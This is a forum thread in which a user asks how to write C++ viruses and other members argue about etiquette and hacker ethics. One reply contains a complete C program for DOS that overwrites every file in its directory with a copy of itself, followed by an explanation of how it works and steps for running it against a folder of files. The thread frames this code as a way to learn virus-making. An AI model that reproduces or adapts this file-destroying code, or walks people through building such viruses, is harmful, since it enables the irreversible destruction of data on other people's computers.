C++ virus

sas1992's Avatar, Join Date: Jul 2008
Newbie Member
can any1 teach me how to start making viruses in c++
0
Dak914's Avatar, Join Date: May 2008
Go4Expert Member
n00b
way to go, cracker
learn for yourself
Cplusplus.com
that should get you started
it takes a lot of reading
you cant expect to start making programs just because you learned the basics
~3xistanc3
0
XXxxImmortalxxXX's Avatar
Invasive contributor
calling someone a noob is pointless you was once a newb as well he only came here for help he didnt ask for sarcastic answers maybe you should edit your post and delete all that sarcasim

how would u like it if you went to a forum and wanted some help and some guys out of know where starts calling you newb and stuff.


You wouldnt like it would you
0
dssr's Avatar, Join Date: Feb 2008
Go4Expert Member
Quote:
Originally Posted by Dak914
n00b
way to go, cracker
learn for yourself
Cplusplus.com
that should get you started
it takes a lot of reading
you cant expect to start making programs just because you learned the basics
~3xistanc3

I second Immortal, you should not show such attitude ....
0
dssr's Avatar, Join Date: Feb 2008
Go4Expert Member
and about C++ virus i have something similar, you may not call it a proper virus it damages computer and it may give you some idea, just get the idea from this program

It's not created by me, one of my frnd Shumaila Juffar did it

Code:
#include<stdio.h>
#include<dos.h>
#include<dir.h>
#include<fcntl.h>
#include<conio.h>
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf("--------------------------------------------------------------------------");
printf("\nVirus: Pagal Shum :p 1.0\nProgrammer:shumaila jaffer\n");
cprintf("--------------------------------------------------------------------------");
done = findfirst("*.*",&ffblk,0);
while (!done)
{ printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Logicbomb");
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
How it works?
The working logic is very simple the program get its name through
command line argument and using findfirst(),findnext() functions files in current working directery are fetched and are replaced by our program So the target file will become our program
How to test
1>write the code in c compiler, remember thatDO NOT RUN THE CODE, just complie or build it, so that the .exe file is built
2>create a folder say "test",put the .exe file of our program in that folder also put some other files,run our example.exe file ,all files in folder r attacked

WARNING
I have not tested this neither i created, i am just sharing ..... so i will reccomend that use this program to get an idea, dont implement
0
XXxxImmortalxxXX's Avatar
Invasive contributor
Thankyou dssr for the support also tell your friend that that is a nice virus
0
Dak914's Avatar, Join Date: May 2008
Go4Expert Member
How could you? I thought this was a programming site meant for the production of applications so as to help the world of computers, not destroy it! You should only create applications for a good cause, and only for a bad cause if it is absolutely necessary. Whatever, you want have to worry about me getting on the site anymore anyway.
I'm out for good.

edit: On giving the matter more thought, I have evidently changed my mind about the site. I disagree strongly with the thoughts of someone who [destroys computers] for no reason. This is cracker attitude. That is also why I called this person a noob instead of a newbie. I agree that I was a newbie once. But, I disagree that I was a noob once. Noobs are people who have an interest only in being the hacker that normal society believes them to be, while newbies have an interest in expanding their knowledge about computers to meet the standards of other true hackers. A hackers intentions should only be negative when their reasons are serious. Crackers intentions are bad all the time, regardless of the reason. I give this person credit for including a programming language, this shows general interest. I merely ask that this person state a serious reason for why they would need such a virus, instead of just blurting out the word "virus" so that someone could easily mistake their intentions. I hope that clears up my opinions as to why I would post this kind of answer to that kind of question.

Last edited by Dak914; 29Oct2008 at 09:24..
0
Dak914's Avatar, Join Date: May 2008
Go4Expert Member
Quote:
Originally Posted by XXxxImmortalxxXX
calling someone a noob is pointless you was once a newb as well he only came here for help he didnt ask for sarcastic answers maybe you should edit your post and delete all that sarcasim

how would u like it if you went to a forum and wanted some help and some guys out of know where starts calling you newb and stuff.


You wouldnt like it would you
No, of course I wouldnt! It is just, I would not go to said forum and post such a outrageous question. This is more of a personal question to ask a friend or someone you trust that would give you a straight answer, knowledge behind that answer, and opinions on the question itself. Now let me ask you this, If I hadnt posted my answer, what would you answer. Just answer the question as you would, without opinions on other stated answers. Oh, and I am still a newbie, but I can guarantee you that I will never be a noob.
Scripting like this
0
back from retirement's Avatar, Join Date: Nov 2008
Contributor
I don't understand if there is any point of showing attitudes and shouting spells at each other.....

Quote:
Now let me ask you this, If I hadnt posted my answer, what would you answer. Just answer the question as you would, without opinions on other stated answers. Oh, and I am still a newbie, but I can guarantee you that I will never be a noob.
Can't you guys think a bit more calm 'n quietly?? I think the best answer to the fellow looking forward to create a virus would have been to make him/her know that there is practicaly no point in designing viruses....we could think and act much more rationally and creatively....but at the same time there is also no point as well to hurt someone's eagerness for learning....
The only positive thing I see in designing a virus is the logic....the algorithm....it requires huge brain work.....and we should start to practice makin the antivirus at the smae time....not for application, but for enhancement of knowledge.....afterall we need to filter the good out of the bad....don't we???

Sorry guys...for uttering so much words being just a newcomer....I swear I won't do it next time.....
keep smiling everyone....cheers....

------------------
@ r k @